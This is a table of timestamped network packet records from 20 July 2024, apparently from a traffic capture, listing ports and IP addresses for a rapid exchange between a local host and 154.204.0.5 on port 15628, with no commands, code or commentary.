Jul 20, 2024 16:15:11.178992987 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.179079056 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.185169935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.185231924 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.192646027 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.192851067 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.197933912 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.198024988 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.203823090 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.203906059 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.211296082 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.211376905 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.217000008 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.217082024 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.222737074 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.222810030 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.227787971 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.227861881 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.232817888 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.232897997 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.238118887 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.238188982 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.243561983 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.243638992 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.248668909 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.248754978 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.254265070 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.257581949 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.263747931 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.263854027 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.270294905 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.270375013 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.275615931 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.275692940 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.281517029 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.281969070 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.287364960 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.287445068 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.295981884 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.296061039 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.300889969 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.300987959 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.306910038 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.306988955 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.312597990 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.312680960 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.318867922 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.318942070 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.324877024 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.324970007 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.330854893 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.330931902 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.335853100 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.335947037 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.341243982 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.341331005 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.346257925 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.346329927 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.352010965 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.352091074 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.366153955 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.366235971 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.376389980 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.376480103 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.381679058 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.381742954 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.399585962 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.401377916 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.406375885 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.406471014 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.411353111 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.411463022 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.416306019 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.416383982 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.421292067 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.421416998 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.426583052 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.426822901 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.434026003 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.434235096 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.439513922 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.439599037 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.444860935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.445055008 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.452459097 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.452563047 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.459857941 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.460268021 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.466309071 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.468487978 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.473449945 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.473530054 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.478730917 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.478904963 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.483889103 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.484055042 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.489577055 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.489633083 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.495366096 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.495451927 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.500302076 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.500380993 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.505341053 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.505451918 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.534069061 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.548130035 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.548217058 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.551726103 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.552062035 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.553147078 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.556971073 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.557051897 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.561822891 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.561907053 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.566762924 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.566843033 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.571758032 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.573625088 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.578633070 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.579010963 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.584357023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.586337090 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.611170053 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.612992048 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.618066072 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.618226051 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.618314028 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.623895884 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.624456882 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.629501104 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.629966974 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.635299921 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.636198997 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.641015053 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.641077042 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.646034956 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.646857023 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.651901960 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.653551102 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.658377886 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.661564112 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.666522980 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.666671991 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.675389051 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.675466061 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.680334091 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.680454016 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.696866989 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.697474003 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.702392101 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.720429897 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.725549936 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.730714083 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.736969948 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.737473011 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.743073940 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.743153095 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.747935057 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.748002052 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.753348112 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.753520012 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.766362906 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.766433001 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.771533012 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.773547888 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.778430939 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.781553030 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.786865950 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.786943913 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.791958094 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.792826891 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.797689915 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.801579952 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.809036970 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.809118032 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.820319891 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.820386887 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.825282097 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.825553894 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.830338955 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.830398083 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.835280895 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.837467909 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.842262030 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.842325926 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.849886894 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.852508068 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.857768059 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.857942104 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.862941980 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.863055944 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.868730068 CEST	49740	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:15:11.868762970 CEST	443	49740	35.227.223.56	192.168.2.5
Jul 20, 2024 16:15:11.869316101 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.869513035 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.874341011 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.874572039 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.879811049 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.880431890 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.886243105 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.886459112 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.891659021 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.891725063 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.898230076 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.898308039 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.909462929 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.909543037 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.915272951 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.915604115 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.922389030 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.922456980 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.927858114 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.928016901 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.933170080 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.933473110 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.938502073 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.939016104 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.944849968 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.944943905 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.950486898 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.951380968 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.958308935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.958393097 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.963381052 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.963462114 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.968457937 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.968600988 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.973470926 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.973551035 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.978653908 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.978709936 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.983853102 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.983922958 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.988859892 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.988915920 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:11.994522095 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:11.994944096 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.001123905 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.001343966 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.008240938 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.008342981 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.013736963 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.013783932 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.018568039 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.018673897 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.024101019 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.024327040 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.060082912 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.060174942 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.067861080 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.073718071 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.078567028 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.078618050 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.083631039 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.084466934 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.089622974 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.089787006 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.095685959 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.102904081 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.108814001 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.108891010 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.114228964 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.118590117 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.124053001 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.124147892 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.133193016 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.133270979 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.139492989 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.139554977 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.146213055 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.146883011 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.153090954 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.153220892 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.159471035 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.164130926 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.169275045 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.169370890 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.175170898 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.175228119 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.180124998 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.180263042 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.186942101 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.187002897 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.192609072 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.192682981 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.198451996 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.198586941 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.205054998 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.205110073 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.210102081 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.210160971 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.215251923 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.215303898 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.221405029 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.221489906 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.226484060 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.260134935 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.265319109 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.265386105 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.270375967 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.309056044 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.314308882 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.584604025 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.589843035 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.593915939 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.599817991 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.599896908 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.604748011 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.604810953 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.609735012 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.609791040 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.615622044 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.615709066 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.620997906 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.621061087 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.626444101 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.626503944 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.631552935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.631625891 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.636548996 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.636641979 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.641720057 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.641787052 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.646625042 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:12.646687031 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:12.651722908 CEST	15628	49709	154.204.0.5	192.168.2.5
